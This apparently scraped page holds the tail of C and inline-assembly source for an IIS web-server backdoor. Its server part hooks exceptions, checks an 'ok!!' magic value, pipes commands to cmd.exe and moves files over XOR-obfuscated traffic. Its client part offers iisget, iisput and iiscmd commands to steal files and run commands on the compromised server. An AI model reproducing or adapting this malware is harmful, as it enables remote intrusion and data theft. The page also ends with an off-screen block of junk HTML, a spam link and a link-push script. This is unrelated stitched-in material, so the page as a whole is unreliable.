                                  for(k=0;k<lBytesRead;++k){
                                        lockintvar1=lockintvar1*0x100;
                                        lockintvar1=lockintvar1%LOCKBIGNUM;
                                        lockcharvar=lockintvar1%0x100;
                                        Buff[k]^=lockcharvar;   //
   DATAXORCODE;
                                  }
   
                                l-=lBytesRead;
                           //     if(fpt>0)
   
   WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
   //                             else Sleepadd(010);
                              }
   
   //                           if(i>100) l=0;
                          }
                          else {
                              Sleepadd(0100);
                              ++i;
                          }
                          if(i>10000) l=0;
                       }
   
                       CloseHandleadd(fpt);
                       l=0;
                    }
                    else{
   
   if(k==1&&lBytesRead>4&&Buff[0]=='g'&&Buff[1]=='e'&&Buff[2]=='t'&&Buff[3]
   ==' '){
   
                   //
   fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTIN
   G,FILE_ATTRIBUTE_NORMAL,0);
   
   
   fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,
   NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
                            Sleepadd(100);
                            l=GetFileSizeadd(fpt,&k);
                            *(int *)Buff='ezis';        //size
                            *(int *)(Buff+4)=l;
                            lBytesRead=8;
                             for(i=0;i<lBytesRead;++i){
                                 lockintvar2=lockintvar2*0x100;
                                 lockintvar2=lockintvar2%LOCKBIGNUM;
                                 lockcharvar=lockintvar2%0x100;
                                 Buff[i]^=lockcharvar;   // DATAXORCODE;
                             }
   
                            writeclient(ConnID,Buff,&lBytesRead,0); //
   HSE_IO_SYNC);
                      //      Sleepadd(100);
                            i=0;
                            while(l>0){
                                 k=SHELLBUFFSIZE;
                                 ReadFileadd(fpt,Buff,k,&k,0);
                                 if(k>0){
                                    for(i=0;i<k;++i){
                                         lockintvar2=lockintvar2*0x100;
                                         lockintvar2=lockintvar2%LOCKBIGNUM
   ;
                                         lockcharvar=lockintvar2%0x100;
                                         Buff[i]^=lockcharvar;   //
   DATAXORCODE;
                                    }
   
                                    i=0;
                                    l-=k;
                                    writeclient(ConnID,Buff,&k,0); //
   HSE_IO_SYNC);
   //                                   Sleepadd(100);
                 //
   k=readclient(ConnID,Buff,&lBytesRead);
   
                                    }
                                 else ++i;
                                 if(i>100) l=0;
                            }
                            CloseHandleadd(fpt);
                            l=0;
                        }
                        else l=1;
                    }
                 }
                 if(k!=1){
                   k=8;
                   WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                   WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                   WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                   k=GetLastErroradd();
                   while(k==0x2746){
                     if(thedoor==1)      goto asmreturn;
                     Sleepadd(0x7fffffff);                  //僵死
                   }
   
                 }
                 else{
   
   WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
     //              Sleepadd(1000);
                 }
           }
       }
   
       die: goto die  ;
         _asm{
   asmreturn:
                      mov eax,HSE_STATUS_SUCCESS
                      leave
                      ret 04
   door:              push eax
                      mov eax,[esp+0x08]
                      mov eax,[eax+0x64]
                      mov eax,[eax]
                      cmp eax,'ok!!'
                      jnz jmpold
                      pop eax
                      push 0x12345678  //dooradd-0x13
                      ret
   jmpold:               pop  eax
                      push 0x12345678   //dooradd-0xc
                      ret               //1
                      jmp  door         //2
   getdoorcall:       call getdooradd   //5
   
   getexceptretadd:   pop  eax
                      push eax
                      mov  edi,dword ptr [stradd]
                      mov dword ptr [edi-0x0e],eax
                      ret
   errprogram:           mov eax,dword ptr [esp+0x0c]
                      add eax,0xb8
                      mov dword ptr [eax],0x11223344  //stradd-0xe
                      xor eax,eax                //2
                      ret                        //1
   execptprogram:     jmp errprogram            //2 bytes     stradd-7
   nextcall:          call getstradd            //5 bytes
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
                      NOP
           }
   }
   void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
   {
      int i,k;
      unsigned char temp;
      char *calladd;
      for(i=0;i<len;++i){
          temp=shellbuff[i];
          if(temp==0xe8){
            k=*(int *)(shellbuff+i+1);
            calladd=fnadd;
            calladd+=k;
            calladd+=i;
            calladd+=5;
            if(calladd==chkesp){
                shellbuff[i]=0x90;
                shellbuff[i+1]=0x43;   // inc ebx
                shellbuff[i+2]=0x4b;    // dec ebx
                shellbuff[i+3]=0x43;
                shellbuff[i+4]=0x4b;
            }
          }
      }
   }
   void iisput(int fd,char *str){
   char *filename;
   char *filename2;
   FILE *fpt;
   char buff[0x2000];
   int size=0x2000,i,j,filesize,filesizehigh;
   filename="\0";
   filename2="\0";
   j=strlen(str);
   for(i=0;i<j;++i,++str){
        if(*str!=' '){
            filename=str;
            break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   ++i;
   ++str;
   for(;i<j;++i,++str){
        if(*str!=' '){
          filename2=str;
          break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   if(filename=="\x0") {
        printf("\n iisput filename [path\\fiename]\n");
        return;
   }
   if(filename2=="\x0") filename2=filename;
   printf("\n begin put file:%s",filename);
   j=0;
   ioctlsocket(fd, FIONBIO, &j);
   Sleep(1000);
   fpt=CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,
   FILE_ATTRIBUTE_NORMAL,0);
   filesize=GetFileSize(fpt,&filesizehigh);
   strcpy(buff,"put ");
   *(int *)(buff+4)=filesize;
   filesize=*(int *)(buff+4);
   strcpy(buff+0x8,filename2);
   newsend(fd,buff,i+0x9,0);
   printf("\n put file:%s to file:%s %d
   bytes",filename,filename2,filesize);
   Sleep(1000);
   while(filesize>0){
         size=0x800;
         ReadFile(fpt,buff,size,&size,NULL);
         if(size>0){
             filesize-=size;
             newsend(fd,buff,size,0);
   //          Sleep(0100);
   
         }
   }
   // size=filesize;
   // ReadFile(fpt,buff,size,&size,NULL);
   // if(size>0) send(fd,buff,size,0);
   CloseHandle(fpt);
   j=1;
   ioctlsocket(fd, FIONBIO, &j);
   printf("\n put file ok!\n");
   Sleep(1000);
   }
   void iisget(int fd,char *str){
   char *filename;
   char *filename2;
   FILE *fpt;
   char buff[0x2000];
   int size=0x2000,i,j,filesize,filesizehigh;
   filename="\0";
   filename2="\0";
   j=strlen(str);
   for(i=0;i<j;++i,++str){
        if(*str!=' '){
            filename=str;
            break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   ++i;
   ++str;
   for(;i<j;++i,++str){
        if(*str!=' '){
          filename2=str;
          break;
        }
   }
   for(;i<j;++i,++str){
        if(*str==' ') {
            *str=0;
            break;
        }
   }
   if(filename=="\x0") {
        printf("\n iisget filename [path\\fiename]\n");
        return;
   }
   if(filename2=="\x0") filename2=filename;
   printf("\n begin get file:%s",filename);
   fpt=CreateFileA(filename,FILE_FLAG_WRITE_THROUGH+GENERIC_WRITE,FILE_SHAR
   E_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
   strcpy(buff,"get ");
   strcpy(buff+0x4,filename2);
   newsend(fd,buff,i+0x5,0);
   printf("\n get file:%s from file:%s",filename,filename2);
     j=0;
     ioctlsocket(fd, FIONBIO, &j);
   i=0;
   filesize=0;
   j=0;
   while(j<100){
   //    Sleep(100);
       i=newrecv(fd,buff,0x800,0);
       if(i>0){
           buff[i]=0;
           if(memcmp(buff,"size",4)==0){
               filesize=*(int *)(buff+4);
               j=100;
           }
           else {
   
   /*              for(j=0;j<i;++j){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[j]^=lockcharvar;   // DATAXORCODE;
                 }
   */
                 j=0;
                 printf("\n recv %s",buff);
           }
       }
       else ++j;
   //    if(j>1000) i=0;
   }
   printf("\n file %d bytes %d\n",filesize,i);
   if(i>8){
         i-=8;
         filesize-=i;
         WriteFile(fpt,buff+8,i,&i,NULL);
   
   }
   while(filesize>0){
             size=newrecv(fd,buff,0x800,0);
             if(size>0){
                filesize-=size;
                WriteFile(fpt,buff,size,&size,NULL);
   
             }
             else {
                 if(size==0) {
                  printf("\n ftp close \n ");
                 }
                 else {
                     printf("\n Sleep(100)");
                     Sleep(100);
                 }
             }
   }
   CloseHandle(fpt);
   printf("\n get file ok!\n");
   j=1;
   ioctlsocket(fd, FIONBIO, &j);
   }
   void iisreset(int fd,char *str){
       char buff[0x2000];
       int  i,j;
       printf("\nreset xor data.\n");
       Sleep(1000);
       j=0;
       ioctlsocket(fd, FIONBIO, &j);
       strcpy(buff,"reset");
       newsend(fd,buff,strlen(buff),0);
       Sleep(1000);
   
       lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
       lockintvar2=lockintvar1;
       while(1){
         j=recv(fd,buff,0x2000,0);
         if(j>0){
             buff[j]=0;
             for(i=0;i<j;++i){
                 if(buff[i]==0) buff[i]='b';
             }
       //      printf("\nrecv 0x%x bytes:%s",j,buff);
             if(strstr(buff,"xordatareset")!=0){
                 printf("\nxor data reset ok.\n");
                for(i=strstr(buff,"xordatareset")-buff+0x0c;i<j;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
   
                 break;
             }
         }
   //      else if(j==0) break;
   //      strcpy(buff,"\r\nmkdir d:\\test6\r\n");
   //      newsend(fd,buff,strlen(buff),0);
       }
       Sleep(1000);
       j=1;
       ioctlsocket(fd, FIONBIO, &j);
   //    printf("aaa");
   }
   void iisdie(int fd,char *str){
       char buff[0x200];
       int  j;
       printf("\niis die.\n");
       j=0;
       ioctlsocket(fd, FIONBIO, &j);
       Sleep(1000);
       strcpy(buff,"iisrr ");
       newsend(fd,buff,strlen(buff),0);
       Sleep(1000);
       j=1;
       ioctlsocket(fd, FIONBIO, &j);
       lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
       lockintvar2=lockintvar1;
   }
   void iiscmd(int fd,char *str){
       char *cmd="\0";
       char buff[2000];
       int  i,j;
       j=strlen(str);
       for(i=0;i<j;++i,++str){
         if(*str!=' '){
             cmd=str;
            break;
         }
       }
       j=strlen(str);
       for(i=0;i<j;++i){
          if(*(str+j-i-1)!=' ') {
              break;
          }
          else *(str+j-i-1)=0;
       }
   
       if(cmd=="\x0") {
           printf("\niiscmd cmd\n");
           return;
       }
       printf("\nbegin run cmd:%s",cmd);
       j=0;
       ioctlsocket(fd, FIONBIO, &j);
       Sleep(1000);
       strcpy(buff,"iisc ");
       strcat(buff,cmd);
       newsend(fd,buff,strlen(buff),0);
       Sleep(1000);
       j=1;
       ioctlsocket(fd, FIONBIO, &j);
   /*
       lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
       lockintvar2=lockintvar1;
   */
   }
   int newrecv(int fd,char *buff,int size,int flag){
   
       int i,k;
       k=recv(fd,buff,size,flag);
       if(xordatabegin==1){
                 for(i=0;i<k;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
   
       }
       else{
           if(k>0){
               buff[k]=0;
               if(strstr(buff,"XORDATA")!=0) {
                 xordatabegin=1;
                 for(i=strstr(buff,"XORDATA")-buff+8;i<k;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
               }
            }
   
       }
       return(k);
   }
   int newsend(int fd,char *buff,int size,int flag){
             int i;
   
             for(i=0;i<size;++i){
                   lockintvar2=lockintvar2*0x100;
                   lockintvar2=lockintvar2%LOCKBIGNUM;
                   lockcharvar=lockintvar2%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
     //              buff[i]^=DATAXORCODE;
             }
         return(send(fd,buff,size,flag));
   }
   void iishelp(){
     printf("\nusage:");
     printf("\niisget filename filename.  get file from web server.");
     printf("\niisput filename filename.  put file to web server.");
     printf("\niiscmd cmd.  run cmd on web server.");
     printf("\niisreset.  reset the xor data.");
     printf("\niisdie.  reset the asp door.");
     printf("\n\n");
   }
<div style="position:fixed;left:-9000px;top:-9000px;"><em id="7ztzv"></em><center id="7ztzv"></center><mark id="7ztzv"><center id="7ztzv"></center></mark><output id="7ztzv"><noframes id="7ztzv"></noframes></output><font id="7ztzv"><delect id="7ztzv"></delect></font><ruby id="7ztzv"><big id="7ztzv"></big></ruby><progress id="7ztzv"><sub id="7ztzv"></sub></progress><th id="7ztzv"><big id="7ztzv"></big></th><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><video id="7ztzv"></video></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><strike id="7ztzv"><span id="7ztzv"></span></strike><em id="7ztzv"><span id="7ztzv"></span></em><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><noframes id="7ztzv"></noframes></th><em id="7ztzv"><span id="7ztzv"></span></em><ins id="7ztzv"><b id="7ztzv"></b></ins><ol id="7ztzv"><output id="7ztzv"></output></ol><menuitem id="7ztzv"><thead id="7ztzv"></thead></menuitem><del id="7ztzv"><ruby id="7ztzv"></ruby></del><noframes id="7ztzv"><span id="7ztzv"></span></noframes><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><progress id="7ztzv"><thead id="7ztzv"></thead></progress><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><strike id="7ztzv"><pre id="7ztzv"></pre></strike><em id="7ztzv"><address id="7ztzv"></address></em><big id="7ztzv"><address id="7ztzv"></address></big><address id="7ztzv"><listing id="7ztzv"></listing></address><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><big id="7ztzv"><sub id="7ztzv"></sub></big><var id="7ztzv"><meter id="7ztzv"></meter></var><span id="7ztzv"><video id="7ztzv"></video></span><listing id="7ztzv"><mark id="7ztzv"></mark></listing><progress id="7ztzv"><address id="7ztzv"></address></progress><nobr id="7ztzv"><progress id="7ztzv"></progress></nobr><noframes id="7ztzv"><sub id="7ztzv"></sub></noframes><font id="7ztzv"><delect id="7ztzv"></delect></font><strike id="7ztzv"><pre id="7ztzv"></pre></strike><delect id="7ztzv"><menuitem id="7ztzv"></menuitem></delect><em id="7ztzv"><pre id="7ztzv"></pre></em><mark id="7ztzv"><cite id="7ztzv"></cite></mark><delect id="7ztzv"><ins id="7ztzv"></ins></delect><pre id="7ztzv"><rp id="7ztzv"></rp></pre><cite id="7ztzv"><var id="7ztzv"></var></cite><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><ruby id="7ztzv"><p id="7ztzv"></p></ruby><em id="7ztzv"><form id="7ztzv"></form></em><rp id="7ztzv"><em id="7ztzv"></em></rp>
<video id="7ztzv"><noframes id="7ztzv"></noframes></video><cite id="7ztzv"><del id="7ztzv"></del></cite><meter id="7ztzv"><thead id="7ztzv"></thead></meter><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><thead id="7ztzv"></thead></meter><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><mark id="7ztzv"><cite id="7ztzv"></cite></mark><menuitem id="7ztzv"><font id="7ztzv"></font></menuitem><del id="7ztzv"><rp id="7ztzv"></rp></del><thead id="7ztzv"><delect id="7ztzv"></delect></thead><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><ins id="7ztzv"><cite id="7ztzv"></cite></ins><delect id="7ztzv"><output id="7ztzv"></output></delect><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><p id="7ztzv"></p></ruby><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><progress id="7ztzv"><address id="7ztzv"></address></progress><thead id="7ztzv"><var id="7ztzv"></var></thead><ins id="7ztzv"><i id="7ztzv"></i></ins><ins id="7ztzv"><b id="7ztzv"></b></ins><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><ins id="7ztzv"><i id="7ztzv"></i></ins><font id="7ztzv"><delect id="7ztzv"></delect></font><em id="7ztzv"><form id="7ztzv"></form></em><var id="7ztzv"><ins id="7ztzv"></ins></var><span id="7ztzv"><th id="7ztzv"></th></span><ol id="7ztzv"><rp id="7ztzv"></rp></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><address id="7ztzv"><dfn id="7ztzv"></dfn></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><noframes id="7ztzv"><span id="7ztzv"></span></noframes><noframes id="7ztzv"><form id="7ztzv"></form></noframes><big id="7ztzv"><form id="7ztzv"></form></big><track id="7ztzv"><noframes id="7ztzv"></noframes></track><em id="7ztzv"><span id="7ztzv"></span></em><span id="7ztzv"><th id="7ztzv"></th></span><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><em id="7ztzv"></em></video><delect id="7ztzv"><ins id="7ztzv"></ins></delect><b id="7ztzv"><del id="7ztzv"></del></b><progress id="7ztzv"><sub id="7ztzv"></sub></progress><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><rp id="7ztzv"><em id="7ztzv"></em></rp><track id="7ztzv"><noframes id="7ztzv"></noframes></track><address id="7ztzv"><th id="7ztzv"></th></address><cite id="7ztzv"><delect id="7ztzv"></delect></cite><cite id="7ztzv"><var id="7ztzv"></var></cite><output id="7ztzv"><i id="7ztzv"></i></output><track id="7ztzv"><big id="7ztzv"></big></track>
<big id="7ztzv"><address id="7ztzv"></address></big><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><font id="7ztzv"></font></meter><address id="7ztzv"><nobr id="7ztzv"></nobr></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><pre id="7ztzv"><video id="7ztzv"></video></pre><th id="7ztzv"><progress id="7ztzv"></progress></th><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><em id="7ztzv"></em></ruby><del id="7ztzv"><ins id="7ztzv"></ins></del><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><var id="7ztzv"></var></thead><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><b id="7ztzv"><del id="7ztzv"></del></b><big id="7ztzv"><address id="7ztzv"></address></big><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><ins id="7ztzv"></ins></ol><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><listing id="7ztzv"><progress id="7ztzv"></progress></listing><delect id="7ztzv"><output id="7ztzv"></output></delect><noframes id="7ztzv"><span id="7ztzv"></span></noframes><track id="7ztzv"><noframes id="7ztzv"></noframes></track><menuitem id="7ztzv"><sub id="7ztzv"></sub></menuitem><address id="7ztzv"><th id="7ztzv"></th></address><address id="7ztzv"><track id="7ztzv"></track></address><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><em id="7ztzv"><pre id="7ztzv"></pre></em><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><form id="7ztzv"></form></em><form id="7ztzv"><track id="7ztzv"></track></form><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><rp id="7ztzv"><noframes id="7ztzv"></noframes></rp><i id="7ztzv"><ol id="7ztzv"></ol></i><i id="7ztzv"><del id="7ztzv"></del></i><cite id="7ztzv"><delect id="7ztzv"></delect></cite><strike id="7ztzv"><dl id="7ztzv"></dl></strike><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><address id="7ztzv"><th id="7ztzv"></th></address><ins id="7ztzv"><font id="7ztzv"></font></ins><thead id="7ztzv"><var id="7ztzv"></var></thead><video id="7ztzv"><strike id="7ztzv"></strike></video><p id="7ztzv"><pre id="7ztzv"></pre></p><video id="7ztzv"><i id="7ztzv"></i></video><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><listing id="7ztzv"></listing></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><address id="7ztzv"><th id="7ztzv"></th></address><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var>
<p id="7ztzv"><var id="7ztzv"></var></p><ins id="7ztzv"><i id="7ztzv"></i></ins><strike id="7ztzv"><span id="7ztzv"></span></strike><del id="7ztzv"><output id="7ztzv"></output></del><font id="7ztzv"><delect id="7ztzv"></delect></font><output id="7ztzv"><em id="7ztzv"></em></output><p id="7ztzv"><span id="7ztzv"></span></p><big id="7ztzv"><thead id="7ztzv"></thead></big><video id="7ztzv"><noframes id="7ztzv"></noframes></video><b id="7ztzv"><ol id="7ztzv"></ol></b><font id="7ztzv"><dfn id="7ztzv"></dfn></font><font id="7ztzv"><var id="7ztzv"></var></font><ins id="7ztzv"><i id="7ztzv"></i></ins><dfn id="7ztzv"><meter id="7ztzv"></meter></dfn><rp id="7ztzv"><strike id="7ztzv"></strike></rp><del id="7ztzv"><ruby id="7ztzv"></ruby></del><var id="7ztzv"><ruby id="7ztzv"></ruby></var><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><del id="7ztzv"><ruby id="7ztzv"></ruby></del><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><track id="7ztzv"><noframes id="7ztzv"></noframes></track><form id="7ztzv"><nobr id="7ztzv"></nobr></form><video id="7ztzv"><big id="7ztzv"></big></video><video id="7ztzv"><em id="7ztzv"></em></video><p id="7ztzv"><span id="7ztzv"></span></p><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><ins id="7ztzv"><b id="7ztzv"></b></ins><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><var id="7ztzv"><mark id="7ztzv"></mark></var><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><address id="7ztzv"><th id="7ztzv"></th></address><form id="7ztzv"><th id="7ztzv"></th></form><mark id="7ztzv"><cite id="7ztzv"></cite></mark><progress id="7ztzv"><font id="7ztzv"></font></progress><mark id="7ztzv"><cite id="7ztzv"></cite></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><mark id="7ztzv"><font id="7ztzv"></font></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><pre id="7ztzv"><video id="7ztzv"></video></pre><strike id="7ztzv"><dl id="7ztzv"></dl></strike><delect id="7ztzv"><ins id="7ztzv"></ins></delect><dl id="7ztzv"><rp id="7ztzv"></rp></dl><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><p id="7ztzv"><dl id="7ztzv"></dl></p><mark id="7ztzv"><i id="7ztzv"></i></mark><meter id="7ztzv"><sub id="7ztzv"></sub></meter><rp id="7ztzv"><em id="7ztzv"></em></rp><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead>
<th id="7ztzv"><big id="7ztzv"></big></th><del id="7ztzv"><rp id="7ztzv"></rp></del><video id="7ztzv"><big id="7ztzv"></big></video><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><big id="7ztzv"><sub id="7ztzv"></sub></big><track id="7ztzv"><em id="7ztzv"></em></track><cite id="7ztzv"><ol id="7ztzv"></ol></cite><i id="7ztzv"><dl id="7ztzv"></dl></i><noframes id="7ztzv"><address id="7ztzv"></address></noframes><ruby id="7ztzv"><i id="7ztzv"></i></ruby><delect id="7ztzv"><output id="7ztzv"></output></delect><delect id="7ztzv"><output id="7ztzv"></output></delect><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><ol id="7ztzv"><ruby id="7ztzv"></ruby></ol><delect id="7ztzv"><output id="7ztzv"></output></delect><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><track id="7ztzv"><big id="7ztzv"></big></track><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><b id="7ztzv"></b></mark><i id="7ztzv"><ol id="7ztzv"></ol></i><progress id="7ztzv"><sub id="7ztzv"></sub></progress><rp id="7ztzv"><strike id="7ztzv"></strike></rp><font id="7ztzv"><var id="7ztzv"></var></font><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><em id="7ztzv"></em></th><delect id="7ztzv"><ins id="7ztzv"></ins></delect><sub id="7ztzv"><delect id="7ztzv"></delect></sub><progress id="7ztzv"><sub id="7ztzv"></sub></progress><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><listing id="7ztzv"></listing></thead><form id="7ztzv"><th id="7ztzv"></th></form><track id="7ztzv"><em id="7ztzv"></em></track><dfn id="7ztzv"><menuitem id="7ztzv"></menuitem></dfn><b id="7ztzv"><dl id="7ztzv"></dl></b><nobr id="7ztzv"><big id="7ztzv"></big></nobr><track id="7ztzv"><progress id="7ztzv"></progress></track><ruby id="7ztzv"><p id="7ztzv"></p></ruby><pre id="7ztzv"><nobr id="7ztzv"></nobr></pre><pre id="7ztzv"><track id="7ztzv"></track></pre><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><i id="7ztzv"></i></mark><rp id="7ztzv"><p id="7ztzv"></p></rp><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><sub id="7ztzv"><dfn id="7ztzv"></dfn></sub><thead id="7ztzv"><var id="7ztzv"></var></thead><i id="7ztzv"><ol id="7ztzv"></ol></i><track id="7ztzv"><strike id="7ztzv"></strike></track></div>

<a href="http://www.bjnorthway.com/">亚洲欧美在线</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>